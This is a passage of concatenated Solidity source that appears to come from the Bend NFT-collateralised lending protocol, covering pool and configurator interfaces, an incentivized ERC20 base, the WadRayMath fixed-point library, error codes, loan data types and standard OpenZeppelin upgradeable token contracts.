availableBorrowsInReserve, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ); /** * @dev Returns the debt data of the NFT * @param nftAsset The address of the NFT * @param nftTokenId The token id of the NFT * @return loanId the loan id of the NFT * @return reserveAsset the address of the Reserve * @return totalCollateral the total power of the NFT * @return totalDebt the total debt of the NFT * @return availableBorrows the borrowing power left of the NFT * @return healthFactor the current health factor of the NFT **/ function getNftDebtData(address nftAsset, uint256 nftTokenId) external view returns ( uint256 loanId, address reserveAsset, uint256 totalCollateral, uint256 totalDebt, uint256 availableBorrows, uint256 healthFactor ); /** * @dev Returns the auction data of the NFT * @param nftAsset The address of the NFT * @param nftTokenId The token id of the NFT * @return loanId the loan id of the NFT * @return bidderAddress the highest bidder address of the loan * @return bidPrice the highest bid price in Reserve of the loan * @return bidBorrowAmount the borrow amount in Reserve of the loan * @return bidFine the penalty fine of the loan **/ function getNftAuctionData(address nftAsset, uint256 nftTokenId) external view returns ( uint256 loanId, address bidderAddress, uint256 bidPrice, uint256 bidBorrowAmount, uint256 bidFine ); function getNftLiquidatePrice(address nftAsset, uint256 nftTokenId) external view returns (uint256 liquidatePrice, uint256 paybackAmount); function getNftsList() external view returns (address[] memory); /** * @dev Set the _pause state of a reserve * - Only callable by the LendPool contract * @param val `true` to pause the reserve, `false` to un-pause it */ function setPause(bool val) external; /** * @dev Returns if the LendPool is paused */ function paused() external view returns (bool); function getAddressesProvider() external view returns (ILendPoolAddressesProvider); function initReserve( address asset, address bTokenAddress, address debtTokenAddress, address interestRateAddress ) external; function initNft(address asset, address bNftAddress) external; function setReserveInterestRateAddress(address asset, address rateAddress) external; function setReserveConfiguration(address asset, uint256 configuration) external; function setNftConfiguration(address asset, uint256 configuration) external; function setMaxNumberOfReserves(uint256 val) external; function setMaxNumberOfNfts(uint256 val) external; function getMaxNumberOfReserves() external view returns (uint256); function getMaxNumberOfNfts() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; /** * @title LendPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Bend Governance * @author Bend **/ interface ILendPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendPoolUpdated(address indexed newAddress, bytes encodedCallData); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendPoolConfiguratorUpdated(address indexed newAddress, bytes encodedCallData); event ReserveOracleUpdated(address indexed newAddress); event NftOracleUpdated(address indexed newAddress); event LendPoolLoanUpdated(address indexed newAddress, bytes encodedCallData); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy, bytes encodedCallData); event BNFTRegistryUpdated(address indexed newAddress); event LendPoolLiquidatorUpdated(address indexed newAddress); event IncentivesControllerUpdated(address indexed newAddress); event UIDataProviderUpdated(address indexed newAddress); event BendDataProviderUpdated(address indexed newAddress); event WalletBalanceProviderUpdated(address indexed newAddress); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy( bytes32 id, address impl, bytes memory encodedCallData ) external; function getAddress(bytes32 id) external view returns (address); function getLendPool() external view returns (address); function setLendPoolImpl(address pool, bytes memory encodedCallData) external; function getLendPoolConfigurator() external view returns (address); function setLendPoolConfiguratorImpl(address configurator, bytes memory encodedCallData) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getReserveOracle() external view returns (address); function setReserveOracle(address reserveOracle) external; function getNFTOracle() external view returns (address); function setNFTOracle(address nftOracle) external; function getLendPoolLoan() external view returns (address); function setLendPoolLoanImpl(address loan, bytes memory encodedCallData) external; function getBNFTRegistry() external view returns (address); function setBNFTRegistry(address factory) external; function getLendPoolLiquidator() external view returns (address); function setLendPoolLiquidator(address liquidator) external; function getIncentivesController() external view returns (address); function setIncentivesController(address controller) external; function getUIDataProvider() external view returns (address); function setUIDataProvider(address provider) external; function getBendDataProvider() external view returns (address); function setBendDataProvider(address provider) external; function getWalletBalanceProvider() external view returns (address); function setWalletBalanceProvider(address provider) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; interface ILendPoolConfigurator { struct InitReserveInput { address bTokenImpl; address debtTokenImpl; uint8 underlyingAssetDecimals; address interestRateAddress; address underlyingAsset; address treasury; string underlyingAssetName; string bTokenName; string bTokenSymbol; string debtTokenName; string debtTokenSymbol; } struct InitNftInput { address underlyingAsset; } struct UpdateBTokenInput { address asset; address implementation; bytes encodedCallData; } struct UpdateDebtTokenInput { address asset; address implementation; bytes encodedCallData; } /** * @dev Emitted when a reserve is initialized. * @param asset The address of the underlying asset of the reserve * @param bToken The address of the associated bToken contract * @param debtToken The address of the associated debtToken contract * @param interestRateAddress The address of the interest rate strategy for the reserve **/ event ReserveInitialized( address indexed asset, address indexed bToken, address debtToken, address interestRateAddress ); /** * @dev Emitted when borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event BorrowingEnabledOnReserve(address indexed asset); /** * @dev Emitted when borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event BorrowingDisabledOnReserve(address indexed asset); /** * @dev Emitted when a reserve is activated * @param asset The address of the underlying asset of the reserve **/ event ReserveActivated(address indexed asset); /** * @dev Emitted when a reserve is deactivated * @param asset The address of the underlying asset of the reserve **/ event ReserveDeactivated(address indexed asset); /** * @dev Emitted when a reserve is frozen * @param asset The address of the underlying asset of the reserve **/ event ReserveFrozen(address indexed asset); /** * @dev Emitted when a reserve is unfrozen * @param asset The address of the underlying asset of the reserve **/ event ReserveUnfrozen(address indexed asset); /** * @dev Emitted when a reserve factor is updated * @param asset The address of the underlying asset of the reserve * @param factor The new reserve factor **/ event ReserveFactorChanged(address indexed asset, uint256 factor); /** * @dev Emitted when the reserve decimals are updated * @param asset The address of the underlying asset of the reserve * @param decimals The new decimals **/ event ReserveDecimalsChanged(address indexed asset, uint256 decimals); /** * @dev Emitted when a reserve interest strategy contract is updated * @param asset The address of the underlying asset of the reserve * @param strategy The new address of the interest strategy contract **/ event ReserveInterestRateChanged(address indexed asset, address strategy); /** * @dev Emitted when a nft is initialized. * @param asset The address of the underlying asset of the nft * @param bNft The address of the associated bNFT contract **/ event NftInitialized(address indexed asset, address indexed bNft); /** * @dev Emitted when the collateralization risk parameters for the specified NFT are updated. * @param asset The address of the underlying asset of the NFT * @param ltv The loan to value of the asset when used as NFT * @param liquidationThreshold The threshold at which loans using this asset as NFT will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset **/ event NftConfigurationChanged( address indexed asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ); /** * @dev Emitted when a NFT is activated * @param asset The address of the underlying asset of the NFT **/ event NftActivated(address indexed asset); /** * @dev Emitted when a NFT is deactivated * @param asset The address of the underlying asset of the NFT **/ event NftDeactivated(address indexed asset); /** * @dev Emitted when a NFT is frozen * @param asset The address of the underlying asset of the NFT **/ event NftFrozen(address indexed asset); /** * @dev Emitted when a NFT is unfrozen * @param asset The address of the underlying asset of the NFT **/ event NftUnfrozen(address indexed asset); /** * @dev Emitted when a redeem duration is updated * @param asset The address of the underlying asset of the NFT * @param redeemDuration The new redeem duration * @param auctionDuration The new redeem duration * @param redeemFine The new redeem fine **/ event NftAuctionChanged(address indexed asset, uint256 redeemDuration, uint256 auctionDuration, uint256 redeemFine); event NftRedeemThresholdChanged(address indexed asset, uint256 redeemThreshold); /** * @dev Emitted when an bToken implementation is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The bToken proxy address * @param implementation The new bToken implementation **/ event BTokenUpgraded(address indexed asset, address indexed proxy, address indexed implementation); /** * @dev Emitted when the implementation of a debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The debt token proxy address * @param implementation The new debtToken implementation **/ event DebtTokenUpgraded(address indexed asset, address indexed proxy, address indexed implementation); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; interface IIncentivesController { /** * @dev Called by the corresponding asset on any update that affects the rewards distribution * @param asset The address of the user * @param totalSupply The total supply of the asset in the lending pool * @param userBalance The balance of the user of the asset in the lending pool **/ function handleAction( address asset, uint256 totalSupply, uint256 userBalance ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; import {IIncentivesController} from "../interfaces/IIncentivesController.sol"; import {ILendPoolAddressesProvider} from "../interfaces/ILendPoolAddressesProvider.sol"; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import {ERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {IERC20MetadataUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol"; /** * @title IncentivizedERC20 * @notice Add Incentivized Logic to ERC20 implementation * @author Bend **/ abstract contract IncentivizedERC20 is Initializable, IERC20MetadataUpgradeable, ERC20Upgradeable { uint8 private _customDecimals; function __IncentivizedERC20_init( string memory name_, string memory symbol_, uint8 decimals_ ) internal initializer { __ERC20_init(name_, symbol_); _customDecimals = decimals_; } /** * @dev Returns the decimals of the token. */ function decimals() public view virtual override(ERC20Upgradeable, IERC20MetadataUpgradeable) returns (uint8) { return _customDecimals; } /** * @return Abstract function implemented by the child bToken/debtToken. * Done this way in order to not break compatibility with previous versions of bTokens/debtTokens **/ function _getIncentivesController() internal view virtual returns (IIncentivesController); function _getUnderlyingAssetAddress() internal view virtual returns (address); function _transfer( address sender, address recipient, uint256 amount ) internal virtual override { uint256 oldSenderBalance = super.balanceOf(sender); uint256 oldRecipientBalance = super.balanceOf(recipient); super._transfer(sender, recipient, amount); if (address(_getIncentivesController()) != address(0)) { uint256 currentTotalSupply = super.totalSupply(); _getIncentivesController().handleAction(sender, currentTotalSupply, oldSenderBalance); if (sender != recipient) { _getIncentivesController().handleAction(recipient, currentTotalSupply, oldRecipientBalance); } } } function _mint(address account, uint256 amount) internal virtual override { uint256 oldTotalSupply = super.totalSupply(); uint256 oldAccountBalance = super.balanceOf(account); super._mint(account, amount); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } function _burn(address account, uint256 amount) internal virtual override { uint256 oldTotalSupply = super.totalSupply(); uint256 oldAccountBalance = super.balanceOf(account); super._burn(account, amount); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } uint256[45] private __gap; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; import {Errors} from "../helpers/Errors.sol"; /** * @title WadRayMath library * @author Bend * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) **/ library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant HALF_WAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant HALF_RAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 **/ function ray() internal pure returns (uint256) { return RAY; } /** * @return One wad, 1e18 **/ function wad() internal pure returns (uint256) { return WAD; } /** * @return Half ray, 1e27/2 **/ function halfRay() internal pure returns (uint256) { return HALF_RAY; } /** * @return Half ray, 1e18/2 **/ function halfWad() internal pure returns (uint256) { return HALF_WAD; } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad **/ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - HALF_WAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + HALF_WAD) / WAD; } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad **/ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray **/ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - HALF_RAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + HALF_RAY) / RAY; } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray **/ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad **/ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in ray **/ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; /** * @title Errors library * @author Bend * @notice Defines the error messages emitted by the different contracts of the Bend protocol */ library Errors { enum ReturnCode { SUCCESS, FAILED } string public constant SUCCESS = "0"; //common errors string public constant CALLER_NOT_POOL_ADMIN = "100"; // 'The caller must be the pool admin' string public constant CALLER_NOT_ADDRESS_PROVIDER = "101"; string public constant INVALID_FROM_BALANCE_AFTER_TRANSFER = "102"; string public constant INVALID_TO_BALANCE_AFTER_TRANSFER = "103"; //math library erros string public constant MATH_MULTIPLICATION_OVERFLOW = "200"; string public constant MATH_ADDITION_OVERFLOW = "201"; string public constant MATH_DIVISION_BY_ZERO = "202"; //validation & check errors string public constant VL_INVALID_AMOUNT = "301"; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = "302"; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = "303"; // 'Action cannot be performed because the reserve is frozen' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = "304"; // 'User cannot withdraw more than the available balance' string public constant VL_BORROWING_NOT_ENABLED = "305"; // 'Borrowing is not enabled' string public constant VL_COLLATERAL_BALANCE_IS_0 = "306"; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = "307"; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = "308"; // 'There is not enough collateral to cover a new borrow' string public constant VL_NO_DEBT_OF_SELECTED_TYPE = "309"; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt' string public constant VL_NO_ACTIVE_NFT = "310"; string public constant VL_NFT_FROZEN = "311"; string public constant VL_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = "312"; // 'User did not borrow the specified currency' string public constant VL_INVALID_HEALTH_FACTOR = "313"; string public constant VL_INVALID_ONBEHALFOF_ADDRESS = "314"; string public constant VL_INVALID_TARGET_ADDRESS = "315"; string public constant VL_INVALID_RESERVE_ADDRESS = "316"; string public constant VL_SPECIFIED_LOAN_NOT_BORROWED_BY_USER = "317"; string public constant VL_SPECIFIED_RESERVE_NOT_BORROWED_BY_USER = "318"; string public constant VL_HEALTH_FACTOR_HIGHER_THAN_LIQUIDATION_THRESHOLD = "319"; //lend pool errors string public constant LP_CALLER_NOT_LEND_POOL_CONFIGURATOR = "400"; // 'The caller of the function is not the lending pool configurator' string public constant LP_IS_PAUSED = "401"; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = "402"; string public constant LP_NOT_CONTRACT = "403"; string public constant LP_BORROW_NOT_EXCEED_LIQUIDATION_THRESHOLD = "404"; string public constant LP_BORROW_IS_EXCEED_LIQUIDATION_PRICE = "405"; string public constant LP_NO_MORE_NFTS_ALLOWED = "406"; string public constant LP_INVALIED_USER_NFT_AMOUNT = "407"; string public constant LP_INCONSISTENT_PARAMS = "408"; string public constant LP_NFT_IS_NOT_USED_AS_COLLATERAL = "409"; string public constant LP_CALLER_MUST_BE_AN_BTOKEN = "410"; string public constant LP_INVALIED_NFT_AMOUNT = "411"; string public constant LP_NFT_HAS_USED_AS_COLLATERAL = "412"; string public constant LP_DELEGATE_CALL_FAILED = "413"; string public constant LP_AMOUNT_LESS_THAN_EXTRA_DEBT = "414"; string public constant LP_AMOUNT_LESS_THAN_REDEEM_THRESHOLD = "415"; //lend pool loan errors string public constant LPL_INVALID_LOAN_STATE = "480"; string public constant LPL_INVALID_LOAN_AMOUNT = "481"; string public constant LPL_INVALID_TAKEN_AMOUNT = "482"; string public constant LPL_AMOUNT_OVERFLOW = "483"; string public constant LPL_BID_PRICE_LESS_THAN_LIQUIDATION_PRICE = "484"; string public constant LPL_BID_PRICE_LESS_THAN_HIGHEST_PRICE = "485"; string public constant LPL_BID_REDEEM_DURATION_HAS_END = "486"; string public constant LPL_BID_USER_NOT_SAME = "487"; string public constant LPL_BID_REPAY_AMOUNT_NOT_ENOUGH = "488"; string public constant LPL_BID_AUCTION_DURATION_HAS_END = "489"; string public constant LPL_BID_AUCTION_DURATION_NOT_END = "490"; string public constant LPL_BID_PRICE_LESS_THAN_BORROW = "491"; string public constant LPL_INVALID_BIDDER_ADDRESS = "492"; string public constant LPL_AMOUNT_LESS_THAN_BID_FINE = "493"; //common token errors string public constant CT_CALLER_MUST_BE_LEND_POOL = "500"; // 'The caller of this function must be a lending pool' string public constant CT_INVALID_MINT_AMOUNT = "501"; //invalid amount to mint string public constant CT_INVALID_BURN_AMOUNT = "502"; //invalid amount to burn //reserve logic errors string public constant RL_RESERVE_ALREADY_INITIALIZED = "601"; // 'Reserve has already been initialized' string public constant RL_LIQUIDITY_INDEX_OVERFLOW = "602"; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = "603"; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = "604"; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = "605"; // Variable borrow rate overflows uint128 //configure errors string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = "700"; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = "701"; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = "702"; // 'The caller must be the emergency admin' string public constant LPC_INVALIED_BNFT_ADDRESS = "703"; string public constant LPC_INVALIED_LOAN_ADDRESS = "704"; string public constant LPC_NFT_LIQUIDITY_NOT_0 = "705"; //reserve config errors string public constant RC_INVALID_LTV = "730"; string public constant RC_INVALID_LIQ_THRESHOLD = "731"; string public constant RC_INVALID_LIQ_BONUS = "732"; string public constant RC_INVALID_DECIMALS = "733"; string public constant RC_INVALID_RESERVE_FACTOR = "734"; string public constant RC_INVALID_REDEEM_DURATION = "735"; string public constant RC_INVALID_AUCTION_DURATION = "736"; string public constant RC_INVALID_REDEEM_FINE = "737"; string public constant RC_INVALID_REDEEM_THRESHOLD = "738"; //address provider erros string public constant LPAPR_PROVIDER_NOT_REGISTERED = "760"; // 'Provider is not registered' string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = "761"; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; interface IScaledBalanceToken { /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view returns (uint256); /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256); /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return The scaled total supply **/ function scaledTotalSupply() external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; library DataTypes { struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address bTokenAddress; address debtTokenAddress; //address of the interest rate strategy address interestRateAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct NftData { //stores the nft configuration NftConfigurationMap configuration; //address of the bNFT contract address bNftAddress; //the id of the nft. Represents the position in the list of the active nfts uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct NftConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 56: NFT is active //bit 57: NFT is frozen uint256 data; } /** * @dev Enum describing the current state of a loan * State change flow: * Created -> Active -> Repaid * -> Auction -> Defaulted */ enum LoanState { // We need a default that is not 'Created' - this is the zero value None, // The loan data is stored, but not initiated yet. Created, // The loan has been initialized, funds have been delivered to the borrower and the collateral is held. Active, // The loan is in auction, higest price liquidator will got chance to claim it. Auction, // The loan has been repaid, and the collateral has been returned to the borrower. This is a terminal state. Repaid, // The loan was delinquent and collateral claimed by the liquidator. This is a terminal state. Defaulted } struct LoanData { //the id of the nft loan uint256 loanId; //the current state of the loan LoanState state; //address of borrower address borrower; //address of nft asset token address nftAsset; //the id of nft token uint256 nftTokenId; //address of reserve asset token address reserveAsset; //scaled borrow amount. Expressed in ray uint256 scaledAmount; //start time of first bid time uint256 bidStartTimestamp; //bidder address of higest bid address bidderAddress; //price of higest bid uint256 bidPrice; //borrow amount of loan uint256 bidBorrowAmount; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` 